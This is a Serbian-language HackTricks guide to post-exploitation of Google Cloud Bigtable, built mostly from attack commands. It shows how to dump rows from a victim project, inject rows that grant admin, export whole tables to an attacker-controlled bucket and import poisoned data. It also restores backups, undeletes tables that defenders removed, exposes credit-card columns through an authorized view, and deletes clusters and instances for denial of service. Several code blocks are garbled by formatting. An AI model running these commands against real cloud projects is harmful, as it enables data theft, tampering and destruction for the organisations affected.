GCP - Bigtable Post Exploitation
Tip
Učite i vežbajte AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Učite i vežbajte Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.
Bigtable
Za više informacija o Bigtable pogledajte:
Tip
Instalirajte
cbtCLI jednom preko Cloud SDK-a kako bi naredbe ispod radile lokalno:Instalirajte cbt CLI
gcloud components install cbt
Čitanje redova
Dozvole: bigtable.tables.readRows
cbt dolazi uz Cloud SDK i komunicira sa admin/data APIs bez potrebe za dodatnim slojem. Usmerite ga na kompromitovani projekat/instancu i preuzmite redove direktno iz tabele. Ograničite skeniranje ako vam je potreban samo pregled.
Pročitaj Bigtable unose
```bash # Install cbt gcloud components update gcloud components install cbtRead entries with creds of gcloud
cbt -project=
</details>
### Pisanje redova
**Dozvole:** `bigtable.tables.mutateRows`, (trebaće vam `bigtable.tables.readRows` da potvrdite izmenu).
Koristite isti alat da izvršite upsert proizvoljnih ćelija. Ovo je najbrži način da ubacite backdoor u konfiguracije, postavite web shells ili ubacite poisoned dataset rows.
<details>
<summary>Ubacivanje zlonamernog reda</summary>
```bash
# Inject a new row
cbt -project=<victim-proj> -instance=<instance-id> set <table> <row-key> <family>:<column>=<value>
cbt -project=<victim-proj> -instance=<instance-id> set <table-id> user#1337 profile:name="Mallory" profile:role="admin" secrets:api_key=@/tmp/stealme.bin
# Verify the injected row
cbt -project=<victim-proj> -instance=<instance-id> read <table-id> rows=user#1337
cbt set prihvata sirove bajtove preko @/path sintakse, pa možete poslati compiled payloads ili serialized protobufs tačno onako kako downstream services očekuju.
Izdvoji redove u svoj bucket
Dozvole: dataflow.jobs.create, resourcemanager.projects.get, iam.serviceAccounts.actAs
Moguće je exfiltrate sadržaj cele tabele u bucket pod kontrolom napadača pokretanjem Dataflow job-a koji streamuje redove u GCS bucket koji vi kontrolišete.
Note
Imajte na umu da će vam trebati dozvola
iam.serviceAccounts.actAsnad nekim SA koji ima dovoljno dozvola za izvođenje export-a (po defaultu, ako nije drugačije naznačeno, biće korišćen default compute SA).
Izvezi Bigtable u GCS bucket
```bash gcloud dataflow jobs runExample
gcloud dataflow jobs run dump-bigtable3
–gcs-location=gs://dataflow-templates-us-central1/latest/Cloud_Bigtable_to_GCS_Json
–project=gcp-labs-3uis1xlx
–region=us-central1
–parameters=bigtableProjectId=gcp-labs-3uis1xlx,bigtableInstanceId=avesc-20251118172913,bigtableTableId=prod-orders,filenamePrefix=prefx,outputDirectory=gs://deleteme20u9843rhfioue/raw-json/
–staging-location=gs://deleteme20u9843rhfioue/staging/
</details>
> [!NOTE]
> Promenite šablon u `Cloud_Bigtable_to_GCS_Parquet` ili `Cloud_Bigtable_to_GCS_SequenceFile` ako želite Parquet/SequenceFile izlaze umesto JSON-a. Dozvole su iste; menja se samo putanja šablona.
### Uvoz redova
**Dozvole:** `dataflow.jobs.create`, `resourcemanager.projects.get`, `iam.serviceAccounts.actAs`
Moguće je uvesti sadržaj cele tabele iz bucket-a koji napadač kontroliše pokretanjem Dataflow job-a koji strimuje redove u GCS bucket koji vi kontrolišete. Za ovo napadač će prvo morati da kreira parquet fajl sa podacima koji se uvoze u očekivanoj šemi. Napadač može prvo da izveze podatke u parquet formatu prateći prethodnu tehniku sa podešavanjem `Cloud_Bigtable_to_GCS_Parquet` i doda nove unose u preuzeti parquet fajl
> [!NOTE]
> Imajte na umu da će vam trebati dozvola `iam.serviceAccounts.actAs` nad nekim SA koji ima dovoljno dozvola da izvede eksport (po podrazumevanju, ako nije drugačije naznačeno, biće korišćen podrazumevani compute SA).
<details>
<summary>Uvoz iz GCS bucketa u Bigtable</summary>
```bash
gcloud dataflow jobs run import-bt-$(date +%s) \
--region=<REGION> \
--gcs-location=gs://dataflow-templates-<REGION>/<VERSION>>/GCS_Parquet_to_Cloud_Bigtable \
--project=<PROJECT> \
--parameters=bigtableProjectId=<PROJECT>,bigtableInstanceId=<INSTANCE-ID>,bigtableTableId=<TABLE-ID>,inputFilePattern=gs://<BUCKET>/import/bigtable_import.parquet \
--staging-location=gs://<BUCKET>/staging/
# Example
gcloud dataflow jobs run import-bt-$(date +%s) \
--region=us-central1 \
--gcs-location=gs://dataflow-templates-us-central1/latest/GCS_Parquet_to_Cloud_Bigtable \
--project=gcp-labs-3uis1xlx \
--parameters=bigtableProjectId=gcp-labs-3uis1xlx,bigtableInstanceId=avesc-20251118172913,bigtableTableId=prod-orders,inputFilePattern=gs://deleteme20u9843rhfioue/import/parquet_prefx-00000-of-00001.parquet \
--staging-location=gs://deleteme20u9843rhfioue/staging/
Vraćanje rezervnih kopija
Dozvole: bigtable.backups.restore, bigtable.tables.create.
Napadač sa ovim dozvolama može da obnovi rezervnu kopiju u novu tabelu pod svojom kontrolom kako bi mogao da povrati stare osetljive podatke.
Obnova Bigtable rezervne kopije
```bash gcloud bigtable backups list --instance=gcloud bigtable instances tables restore
–source=projects/<PROJECT_ID_SOURCE>/instances/<INSTANCE_ID_SOURCE>/clusters/<CLUSTER_ID>/backups/<BACKUP_ID>
–async
–destination=<TABLE_ID_NEW>
–destination-instance=<INSTANCE_ID_DESTINATION>
–project=<PROJECT_ID_DESTINATION>
</details>
### Vraćanje izbrisanih tabela
**Dozvole:** `bigtable.tables.undelete`
Bigtable podržava soft-brisanje sa periodom zadržavanja (obično 7 dana po podrazumevanoj vrednosti). Tokom tog prozora, napadač koji ima dozvolu `bigtable.tables.undelete` može vratiti nedavno obrisanu tabelu i povratiti sve njene podatke, potencijalno pristupajući osetljivim informacijama za koje se smatralo da su uništene.
Ovo je posebno korisno za:
- Obnavljanje podataka iz tabela koje su defenders izbrisali tokom incident response
- Pristup istorijskim podacima koji su namerno uklonjeni
- Poništavanje slučajnih ili zlonamernih brisanja da bi se održala persistence
<details>
<summary>Vraćanje obrisane Bigtable tabele</summary>
```bash
# List recently deleted tables (requires bigtable.tables.list)
gcloud bigtable instances tables list --instance=<instance-id> \
--show-deleted
# Undelete a table within the retention period
gcloud bigtable instances tables undelete <table-id> \
--instance=<instance-id>
Note
Operacija undelete funkcioniše samo u okviru konfigurisane politike zadržavanja (podrazumevano 7 dana). Nakon isteka tog vremenskog perioda, tabela i njeni podaci se trajno brišu i ne mogu se povratiti ovom metodom.
Kreirajte Authorized Views
Dozvole: bigtable.authorizedViews.create, bigtable.tables.readRows, bigtable.tables.mutateRows
Authorized views vam omogućavaju da prikažete odabrani podskup tabele. Umesto da se pridržavate principa najmanjih privilegija, koristite ih da objavite tačno one skupove kolona/redova koji sadrže osetljive podatke koji su vam važni i da stavite na whitelist svoj principal.
Warning
Problem je što da biste kreirali authorized view, takođe morate imati mogućnost čitanja i menjanja redova u osnovnoj tabeli; dakle ne dobijate nikakva dodatna prava, pa je ova tehnika uglavnom beskorisna.
Kreirajte authorized view
```bash cat <<'EOF' > /tmp/credit-cards.json { "subsetView": { "rowPrefixes": ["acct#"], "familySubsets": { "pii": { "qualifiers": ["cc_number", "cc_cvv"] } } } } EOFgcloud bigtable authorized-views create card-dump
–instance=
–definition-file=/tmp/credit-cards.json
gcloud bigtable authorized-views add-iam-policy-binding card-dump
–instance=
–member=‘user:attacker@example.com’ –role=‘roles/bigtable.reader’
</details>
Pošto je pristup ograničen na view, odbrambeni timovi često zanemare činjenicu da ste upravo kreirali novi endpoint visoke osetljivosti.
### Čitanje Authorized Views
**Permissions:** `bigtable.authorizedViews.readRows`
Ako imate pristup Authorized View, možete čitati podatke iz nje koristeći Bigtable klijentske biblioteke tako što ćete u zahtevima za čitanje navesti ime Authorized View. Imajte na umu da će Authorized View verovatno ograničiti šta možete pristupiti u tabeli. Ispod je primer koji koristi Python:
<details>
<summary>Čitanje iz authorized view (Python)</summary>
```python
from google.cloud import bigtable
from google.cloud.bigtable_v2 import BigtableClient as DataClient
from google.cloud.bigtable_v2 import ReadRowsRequest
# Set your project, instance, table, view id
PROJECT_ID = "gcp-labs-3uis1xlx"
INSTANCE_ID = "avesc-20251118172913"
TABLE_ID = "prod-orders"
AUTHORIZED_VIEW_ID = "auth_view"
client = bigtable.Client(project=PROJECT_ID, admin=True)
instance = client.instance(INSTANCE_ID)
table = instance.table(TABLE_ID)
data_client = DataClient()
authorized_view_name = f"projects/{PROJECT_ID}/instances/{INSTANCE_ID}/tables/{TABLE_ID}/authorizedViews/{AUTHORIZED_VIEW_ID}"
request = ReadRowsRequest(
authorized_view_name=authorized_view_name
)
rows = data_client.read_rows(request=request)
for response in rows:
for chunk in response.chunks:
if chunk.row_key:
row_key = chunk.row_key.decode('utf-8') if isinstance(chunk.row_key, bytes) else chunk.row_key
print(f"Row: {row_key}")
if chunk.family_name:
family = chunk.family_name.value if hasattr(chunk.family_name, 'value') else chunk.family_name
qualifier = chunk.qualifier.value.decode('utf-8') if hasattr(chunk.qualifier, 'value') else chunk.qualifier.decode('utf-8')
value = chunk.value.decode('utf-8') if isinstance(chunk.value, bytes) else str(chunk.value)
print(f" {family}:{qualifier} = {value}")
Denial of Service via Delete Operations
Dozvole: bigtable.appProfiles.delete, bigtable.authorizedViews.delete, bigtable.authorizedViews.deleteTagBinding, bigtable.backups.delete, bigtable.clusters.delete, bigtable.instances.delete, bigtable.tables.delete
Bilo koja od Bigtable delete dozvola može biti iskorišćena za Denial of Service napade. Napadač sa ovim dozvolama može poremetiti rad brišući kritične Bigtable resurse:
bigtable.appProfiles.delete: Uklanja aplikacione profile, prekidajući veze klijenata i konfiguracije rutiranjabigtable.authorizedViews.delete: Uklanja ovlašćene prikaze, preseči legitimne puteve pristupa za aplikacijebigtable.authorizedViews.deleteTagBinding: Uklanja tag bindings sa ovlašćenih prikazabigtable.backups.delete: Uništava backup snimke, uklanjajući opcije za oporavak od katastrofebigtable.clusters.delete: Briše čitave klastere, uzrokujući neposrednu nedostupnost podatakabigtable.instances.delete: Uklanja cele Bigtable instance, brišući sve tabele i konfiguracijebigtable.tables.delete: Briše pojedinačne tabele, uzrokujući gubitak podataka i padove aplikacija
Brisanje Bigtable resursa
```bash # Delete a table gcloud bigtable instances tables deleteDelete an authorized view
gcloud bigtable authorized-views delete
–instance=
Delete a backup
gcloud bigtable backups delete
–instance=
Delete an app profile
gcloud bigtable app-profiles delete
–instance=
Delete a cluster
gcloud bigtable clusters delete
–instance=
Delete an entire instance
gcloud bigtable instances delete
</details>
> [!WARNING]
> Operacije brisanja su često trenutne i nepovratne. Osigurajte postojanje rezervnih kopija pre testiranja ovih komandi, jer mogu prouzrokovati trajni gubitak podataka i ozbiljan prekid usluge.
> [!TIP]
> Učite i vežbajte AWS Hacking:<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">\
> Učite i vežbajte GCP Hacking: <img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)<img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
> Učite i vežbajte Azure Hacking: <img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training Azure Red Team Expert (AzRTE)**](https://training.hacktricks.xyz/courses/azrte)<img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
>
> <details>
>
> <summary>Podržite HackTricks</summary>
>
> - Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)!
> - **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **pratite** nas na **Twitteru** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
> - **Podelite hakerske trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
>
> </details>
HackTricks Cloud

